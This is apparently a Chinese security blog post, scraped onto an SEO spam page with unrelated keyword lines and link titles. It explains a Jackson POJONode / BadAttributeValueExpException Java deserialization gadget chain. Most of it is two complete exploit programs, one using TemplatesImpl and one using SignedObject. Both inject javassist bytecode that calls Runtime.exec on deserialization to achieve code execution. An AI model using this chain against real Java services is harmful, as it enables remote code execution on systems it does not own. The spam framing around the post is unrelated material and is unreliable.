当前位置: 首页 > news >正文

石家庄网站开发公司电话海南专业网站运营托管

石家庄网站开发公司电话,海南专业网站运营托管,wordpress 淘口令主题,微信网站系统目录 核心速览 原理分析 EXP TemplatesImpl利用 SignedObject利用 核心速览 writeValueAsString是jackson序列化自带的入口#xff0c;在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用 下面介绍如下利用链#xff1a; BadAttrib…目录 核心速览 原理分析 EXP TemplatesImpl利用 SignedObject利用 核心速览 writeValueAsString是jackson序列化自带的入口在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用 下面介绍如下利用链 BadAttributeValueExpException.toString - POJONode - jackson反序列化-getter  原理分析 POJONode​继承ValueNode​ValueNode​继承BaseJsonNode BaseJsonNode有一个writeReplace方法 writeReplace 方法是 Java 中的一个特殊方法它在序列化过程中起着重要作用。当对象被序列化时Java 虚拟机会自动调用 writeReplace 方法如果存在并用其返回的对象来替换原始对象。这个方法的主要作用是允许开发者在序列化过程中控制对象的替换行为。 具体来说writeReplace 方法通常用于以下情况 对象替换: 可以通过 writeReplace 方法返回另一个对象来替换原始对象进行序列化。这样可以隐藏原始对象的实际类型或状态或者返回单例对象等。序列化代理: 通过返回另一个对象可以将序列化的责任委托给另一个对象来完成序列化过程从而更灵活地控制对象的序列化方式。 这是我们不希望看到的所以要在当前classpath下创建个新的BaseJsonNode并将原来的writeReplace方法删除或注释掉如此便能正常完成利用链相关调用。 POJONode中不存在有toString方法的实现在其父类的父类BaseJsonNode中存在有 跟进InternalNodeMapper.nodeToString看到调用jackson反序列化自带的入口writeValueAsString 之后便会调用入参bean的getter方法打法有很多 EXP TemplatesImpl利用 package org.jackson;import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception {ClassPool pool ClassPool.getDefault();CtClass ctClass pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{},ctClass);constructor.setBody(Runtime.getRuntime().exec(\calc\););ctClass.addConstructor(constructor);byte[] bytes ctClass.toBytecode();Templates templatesImpl new TemplatesImpl();setFieldValue(templatesImpl, _bytecodes, new byte[][]{bytes});setFieldValue(templatesImpl, _name, xxx);setFieldValue(templatesImpl, _tfactory, null);POJONode jsonNodes new POJONode(templatesImpl);BadAttributeValueExpException exp new BadAttributeValueExpException(null);Field val Class.forName(javax.management.BadAttributeValueExpException).getDeclaredField(val);val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream foutnew FileOutputStream(1.ser);fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream new FileInputStream(1.ser);System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes Base64.getDecoder().decode(data);ByteArrayInputStream bais new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);} } SignedObject利用 package org.jackson;import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.Base64;public class EXP2 {public static void main(String[] args) throws Exception {ClassPool pool ClassPool.getDefault();CtClass ctClass pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{},ctClass);constructor.setBody(Runtime.getRuntime().exec(\calc\););ctClass.addConstructor(constructor);byte[] bytes ctClass.toBytecode();TemplatesImpl templatesImpl new TemplatesImpl();setFieldValue(templatesImpl, _bytecodes, new byte[][]{bytes});setFieldValue(templatesImpl, _name, fakes0u1);setFieldValue(templatesImpl, _tfactory, null);POJONode jsonNodes2 new POJONode(templatesImpl);BadAttributeValueExpException exp2 new BadAttributeValueExpException(null);Field val2 Class.forName(javax.management.BadAttributeValueExpException).getDeclaredField(val);val2.setAccessible(true);val2.set(exp2,jsonNodes2);KeyPairGenerator keyPairGenerator;keyPairGenerator KeyPairGenerator.getInstance(DSA);keyPairGenerator.initialize(1024);KeyPair keyPair keyPairGenerator.genKeyPair();PrivateKey privateKey keyPair.getPrivate();Signature signingEngine Signature.getInstance(DSA);SignedObject signedObject new SignedObject(exp2,privateKey,signingEngine);POJONode jsonNodes new POJONode(signedObject);BadAttributeValueExpException exp new BadAttributeValueExpException(null);Field val Class.forName(javax.management.BadAttributeValueExpException).getDeclaredField(val);val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream foutnew FileOutputStream(1.ser);fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream new FileInputStream(1.ser);System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes Base64.getDecoder().decode(data);ByteArrayInputStream bais new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);} }
http://www.tj-hxxt.cn/news/139563.html

相关文章:

  • 建站之星设计师专业建设网站外包
  • 360移动建站c2c交易平台下载
  • 公司做个网站网站有收录但是没排名
  • 网站制作眼google 网站收录
  • 惠州专门做网站wordpress外观编辑
  • 网站怎么做弹窗什么招聘网最好找工作
  • 四川省城乡住房和建设厅网站建站工具箱
  • 广西建设执业资格注册中心网站东莞网站建设对比
  • 动漫网站首页设计公司名字大全最新
  • 网络最火的销售平台廊坊关键词优化排名
  • 广西美丽乡村建设网站网站稳定期的推广
  • 12380网站建设意见室内装饰设计师
  • wordpress php 链接地址重庆seo网站排名优化
  • 网站黑链 工具猪八戒网站开发
  • 英文 wap网站网站素材
  • 网站开发价格哪个网站可以做司考题
  • 合肥哪里有做网站重庆市门户网站制作
  • 佛山顺德网站制作公司企业网站建设的目的和意义
  • 林州网站建设策划莞城营销型网站建设
  • 做网站排名有用吗软件开发流程以及简要描述
  • 大连市城市建设投资集团网站网站seo检测工具
  • 网站视频放优酷里面怎么做泰安新闻头条最新消息
  • 网站哪里买外链东莞网站建设(推荐乐云践新)
  • 网站开发博客网页版微信客户端
  • 随州北京网站建设wordpress 侧栏
  • 哪里有服务好的网站建设wordpress无法自动更新
  • 丹东新区建设发展集团网站软文范文大全
  • 静态网站seo怎么做上高县城乡规划建设局网站
  • 室内设计师找图片的网站五种关键词优化工具
  • 做网站的实训报告如何转换page到wordpress